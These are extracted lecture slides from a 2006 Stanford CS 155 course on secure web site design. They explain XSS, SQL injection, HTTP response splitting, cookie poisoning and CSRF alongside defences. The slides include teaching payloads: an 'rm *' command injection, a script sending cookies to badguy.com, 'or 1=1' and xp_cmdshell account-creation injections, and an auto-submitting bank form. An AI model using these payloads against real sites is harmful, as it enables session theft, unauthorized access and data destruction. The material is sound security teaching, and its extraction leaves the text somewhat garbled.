Spring 2006 CS 155 Secure Web Site Design
Spring 2006 CS 155 Secure Web Site Design Dan Boneh
Schematic web site architecture WS 1 Load Balancer WS 2 Firewall Application Firewall (WAF) App Servers WS 3 IDS Authorization Netegrity (CA) Oblix (Oracle) To CC processor DB
Web Application Firewalls • Prevent some attacks we discuss today: • SQL Injection • Form field tampering • Cookie poisoning • Some examples: n Imperva n Kavado Interdo n F 5 Traffic. Shield n Citrix Net. Scaler n Check. Point Web Intelligence
Our focus: web app code Common web-site attacks: n n Denial of Service: later in course Attack the web server (IIS, Apache) : w e. g. control hijacking: Code. Red, Nimda, … w Solutions: n n Harden web server: stackguard, libsafe, … Worm defense: later in course. n Host based intrusion detection, n Worm signatures generation, shields. Today: n Common vulnerabilities in web application code
Web app code Runs on web server or app server. n Takes input from web users (via web server) n Interacts with the database and 3 rd parties. n Prepares results for users (via web server) Examples: n Shopping carts, home banking, bill pay, tax prep, … n New code written for every web site. Written in: n C, PHP, Perl, Python, JSP, ASP, … n Often written with little consideration for security.
Common vulnerabilities (OWASP) Inadequate validation of user input: n Cross site scripting n SQL Injection n HTTP Splitting Broken session management n Can lead to session hijacking. Insecure storage: n Sensitive data stored in the clear. n Prime target for theft – e. g. egghead, verizon.
Warm up: a simple example Direct use of user input: n http: //victim. com/ copy. php ? name=username script name n script input copy. php: system(“cp temp. dat $name. dat”) n Problem: w http: //victim. com/ copy. php ? name=“a ; rm *” (should be: name=a%20; %20 rm%20* )
Redirects EZShopper. com shopping cart (10/2004): http: //…/cgi-bin/ loadpage. cgi ? page=url n Redirects browser to url Redirects are common on many sites n Used to track when user clicks on external link n EZShopper uses redirect to add HTTP headers Problem: phishing http: //victim. com/cgi-bin/loadpage ? page=phisher. com n Link to victim. com puts user at phisher. com Local redirects should ensure target URL is local
Cross Site Scripting
The setup User input is echoed into HTML response. Example: search field n http: //victim. com/search. php ? term = apple n search. php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <? php echo $_GET[term] ? > : . . . </BODY> </HTML> Is this exploitable?
Bad input Problem: no validation of input term Consider link: (properly URL encoded) http: //victim. com/search. php ? term = <script> window. open( “http: //badguy. com? cookie = ” + document. cookie ) </script> What if user clicks on this link? 1. Browser goes to victim. com/search. php 2. Victim. com returns <HTML> Results for <script> … </script> 3. Browser executes script: w Sends badguy. com cookie for victim. com
So what? Why would user click on such a link? n Phishing email in webmail client (e. g. gmail). n Link in doubleclick banner ad n … many ways to fool user into clicking What if badguy. com gets cookie for victim. com ? n Cookie can include session auth for victim. com w Or other data intended only for victim. com Violates same origin policy
Even worse Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim. com n Control links on page n Control form fields (e. g. password field) on this page and linked pages. Can infect other users: My. Space. com worm.
My. Space. com (Samy worm) Users can post HTML on their pages n My. Space. com ensures HTML contains no <script>, <body>, onclick, <a href=javascript: //> n … but can do Javascript within CSS tags: <div style=“background: url(‘javascript: alert(1)’)”> And can hide “javascript” as “javanscript” With careful javascript hacking: n n Samy’s worm: infects anyone who visits an infected My. Space page … and adds Samy as a friend. Samy had millions of friends within 24 hours. More info: http: //namb. la/popular/tech. html
Avoiding XSS bugs (PHP) Main problem: n Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) & & " " < < > > n ' ' htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: < a href=' test' > Test< /a>
Avoiding XSS bugs (ASP. NET) ASP. NET 1. 1: n n Server. Html. Encode(string) w Similar to PHP htmlspecialchars validate. Request: (on by default) w Crashes page if finds <script> in POST data. w Looks for hardcoded list of patterns. w Can be disabled: <%@ Page validate. Request=“false" %>
SQL Injection
The setup User input is used in SQL query Example: login page (ASP) set ok = execute(“SELECT * FROM User. Table WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” ); If not ok. EOF login success else fail; Is this exploitable?
Bad input Suppose user = “ ′ or 1 = 1 -- ” (URL encoded) Then scripts does: ok = execute( SELECT … WHERE username= ′ ′ or 1=1 n The ‘- -’ causes rest of line to be ignored. n Now ok. EOF is always false. The bad news: -- … ) easy login to many sites this way.
Even worse Suppose user = ′ exec cmdshell ′net user badguy badpwd′ / ADD -Then script does: ok = execute( SELECT … WHERE username= ′ ′ exec … ) If SQL server context runs as “sa”, attacker gets account on DB server.
Avoiding SQL injection Build SQL queries by properly escaping args: ′ ′ Example: Parameterized SQL: (ASP. NET 1. 1) n Ensures SQL arguments are properly escaped. Sql. Command cmd = new Sql. Command( "SELECT * FROM User. Table WHERE username = @User AND password = @Pwd", db. Connection); cmd. Parameters. Add("@User", Request[“user”] ); cmd. Parameters. Add("@Pwd", Request[“pwd”] ); cmd. Execute. Reader();
HTTP Response Splitting
The setup User input echoed in HTTP header. Example: Language redirect page (JSP) <% response. redirect(“/by_lang. jsp? lang=” + request. get. Parameter(“lang”) ) %> Browser sends http: //. . . /by_lang. jsp ? lang=french Server HTTP Response: HTTP/1. 1 302 (redirect) Date: … Location: /by_lang. jsp ? lang=french Is this exploitable?
Bad input Suppose browser sends: http: //. . . /by_lang. jsp ? lang= “ french n Content-length: 0 rn HTTP/1. 1 200 OK Spoofed page ” (URL encoded)
Bad input HTTP response from server looks like: HTTP/1. 1 302 (redirect) Date: … Location: /by_lang. jsp ? lang= french Content-length: 0 lang HTTP/1. 1 200 OK Content-length: 217 Spoofed page
So what? What just happened: n Attacker submitted bad URL to victim. com w URL contained spoofed page in it n Got back spoofed page So what? n Cache servers along path now store spoof of victim. com n Will fool any user using same cache server Defense: don’t do that.
Summary thus far
App code Little programming knowledge can be dangerous: n Cross site scripting n SQL Injection n HTTP Splitting What to do? n n Band-aid: Web App Firewall (WAF) w Looks for attack patterns and blocks requests w False positive / false negatives Code checking
Code checking Blackbox security testing services: n Whitehatsec. com Automated blackbox testing tools: n Cenzic, Hailstorm n Spidynamic, Web. Inspect n e. Eye, Retina Web application hardening tools: n Web. SSARI [WWW’ 04] : based on information flow n Nguyen-Tuong [IFIP’ 05] : based on tainting
Session Management Cookies, hidden fields, and user authentication
Cookies Used to store state on user’s machine Browser GET … Server HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; If expires=NULL: expires = (when expires) ; this session only secure = (only over SSL) Browser GET … Cookie: NAME = VALUE Server Http is stateless protocol; cookies add state
Cookies Brower will store: n At most 20 cookies/site, 3 KB / cookie Uses: n User authentication n Personalization n User tracking: e. g. Doubleclick (3 rd party cookies)
Cookie risks Danger of storing data on browser: n User can change values Silly example: Shopping cart software. Set-cookie: shopping-cart-total = 150 ($) n n User edits cookie file (cookie poisoning): Cookie: shopping-cart-total = 15 … bargain shopping. Similar behavior with hidden fields: <FORM TYPE=“hidden” NAME=price VALUE=“ 150”> ($)
Not so silly … (as of 2/2000) D 3. COM Pty Ltd: Shop. Factory 5. 8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: Web. Site Tool Com. City Corporation: Sales. Cart Crested Butte Software: Easy. Cart Dansie. net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store Order. Page Mc. Murtrey/Whitaker & Associates: Cart 32 3. 0 pknutsen@nethut. no: Cart. Man 1. 04 Rich Media Technologies: Just. Add. Commerce 5. 0 Smart. Cart: Smart. Cart Web Express: Shoptron 1. 2 Source: http: //xforce. iss. net/xforce/xfdb/4621
Example: dansie. net shopping cart http: //www. dansie. net/demo. html (May, 2006) <FORM METHOD=POST ACTION="http: //www. dansie. net/cgi-bin/scripts/cart. pl"> Black Leather purse with leather straps<BR>Price: $20. 00<BR> <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"> <INPUT TYPE=HIDDEN NAME=price VALUE="20. 00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse. jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http: //www. dansie. net/demo. html"> <INPUT TYPE=HIDDEN NAME=custom 1 VALUE="Black leather purse with leather straps"> <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"> </FORM> CVE-2000 -0253 (Jan. 2001), Bug. Traq ID: 1115
Solution When storing state on browser MAC data using server secret key. . NET 2. 0: n System. Web. Configuration. Machine. Key w Secret web server key intended for cookie protection n n Http. Cookie cookie = new Http. Cookie(name, val); Http. Cookie encoded. Cookie = Http. Secure. Cookie. Encode (cookie); Http. Secure. Cookie. Decode (cookie);
Cookie authentication Browser Web Server POST login. cgi Username & pwd Set-cookie: auth=val GET restricted. html Cookie: auth=val If YES, restricted. html Auth server Validate user auth=val Store val restricted. html auth=val YES/NO Check val
Weak authenticators: security risk Predictable cookie authenticator n Verizon Wireless - counter n Valid user logs in, gets counter, can view sessions of other users. Weak authenticator generation: [Fu et al. ’ 01] n WSJ. com: cookie = {user, MACk(user) } n Weak MAC exposes K from few cookies. Apache Tomcat: generate. Session. ID() n MD 5(PRNG) … but weak PRNG [GM’ 05]. n Predictable Session. ID’s
Cookie auth is insufficient Example: n User logs in to bank. com. Forgets to sign off. n Session cookie remains in browser state Then user visits another site containing: <form name=F action=http: //bank. com/Bill. Pay. php> <input name=recipient value=badguy> … <script> document. F. submit(); </script> n Browser sends user auth cookie with request w Transaction will be fulfilled n Problem: n cookie auth is insufficient when side effects can happen n Correct use: use cookies + hidden fields
Take home message: On the web: Little programming knowledge can be a dangerous thing
THE END
- Slides: 42